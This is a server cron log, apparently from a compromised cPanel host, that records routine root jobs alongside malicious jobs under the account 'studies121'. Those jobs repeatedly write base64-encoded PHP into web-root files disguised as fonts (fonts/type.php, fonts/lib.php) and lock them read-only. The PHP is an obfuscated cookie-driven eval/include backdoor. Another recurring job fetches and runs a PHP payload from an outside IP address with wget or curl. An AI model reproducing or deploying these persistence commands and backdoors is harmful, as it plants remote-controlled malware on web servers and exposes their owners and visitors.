Sep 11 02:20:01 ip-184-168-122-23 CROND[14355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:20:01 ip-184-168-122-23 CROND[14357]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:21:01 ip-184-168-122-23 CROND[14461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:21:01 ip-184-168-122-23 CROND[14460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:21:01 ip-184-168-122-23 CROND[14462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:21:01 ip-184-168-122-23 CROND[14463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:22:01 ip-184-168-122-23 CROND[14566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:22:01 ip-184-168-122-23 CROND[14568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:22:01 ip-184-168-122-23 CROND[14569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:22:01 ip-184-168-122-23 CROND[14571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:22:01 ip-184-168-122-23 CROND[14572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:23:01 ip-184-168-122-23 CROND[14653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:23:01 ip-184-168-122-23 CROND[14655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:23:01 ip-184-168-122-23 CROND[14654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:23:01 ip-184-168-122-23 CROND[14656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:24:01 ip-184-168-122-23 CROND[14734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:24:01 ip-184-168-122-23 CROND[14735]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:24:01 ip-184-168-122-23 CROND[14736]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep 11 02:24:01 ip-184-168-122-23 CROND[14737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:24:01 ip-184-168-122-23 CROND[14742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:24:01 ip-184-168-122-23 CROND[14743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:25:01 ip-184-168-122-23 CROND[14947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:25:01 ip-184-168-122-23 CROND[14948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:25:01 ip-184-168-122-23 CROND[14951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:25:01 ip-184-168-122-23 CROND[14952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:25:01 ip-184-168-122-23 CROND[14954]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 02:25:01 ip-184-168-122-23 CROND[14955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:25:01 ip-184-168-122-23 CROND[14956]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:26:01 ip-184-168-122-23 CROND[15051]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 11 02:26:01 ip-184-168-122-23 CROND[15052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:26:01 ip-184-168-122-23 CROND[15053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:26:01 ip-184-168-122-23 CROND[15059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:26:01 ip-184-168-122-23 CROND[15058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:26:01 ip-184-168-122-23 CROND[15057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 11 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 11 02:27:01 ip-184-168-122-23 CROND[15451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:27:01 ip-184-168-122-23 CROND[15454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:27:01 ip-184-168-122-23 CROND[15453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:27:01 ip-184-168-122-23 CROND[15456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:28:01 ip-184-168-122-23 CROND[15564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:28:01 ip-184-168-122-23 CROND[15566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:28:01 ip-184-168-122-23 CROND[15567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:28:01 ip-184-168-122-23 CROND[15568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:28:01 ip-184-168-122-23 CROND[15569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:29:01 ip-184-168-122-23 CROND[15679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:29:01 ip-184-168-122-23 CROND[15681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:29:01 ip-184-168-122-23 CROND[15680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:29:01 ip-184-168-122-23 CROND[15683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:30:01 ip-184-168-122-23 CROND[15775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:30:01 ip-184-168-122-23 CROND[15776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:30:01 ip-184-168-122-23 CROND[15778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:30:01 ip-184-168-122-23 CROND[15780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:30:01 ip-184-168-122-23 CROND[15783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:30:01 ip-184-168-122-23 CROND[15784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:30:01 ip-184-168-122-23 CROND[15785]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:30:01 ip-184-168-122-23 CROND[15786]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:31:01 ip-184-168-122-23 CROND[15966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:31:01 ip-184-168-122-23 CROND[15968]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 02:31:01 ip-184-168-122-23 CROND[15970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:31:01 ip-184-168-122-23 CROND[15971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:31:01 ip-184-168-122-23 CROND[15969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:32:01 ip-184-168-122-23 CROND[16055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:32:01 ip-184-168-122-23 CROND[16056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:32:01 ip-184-168-122-23 CROND[16060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
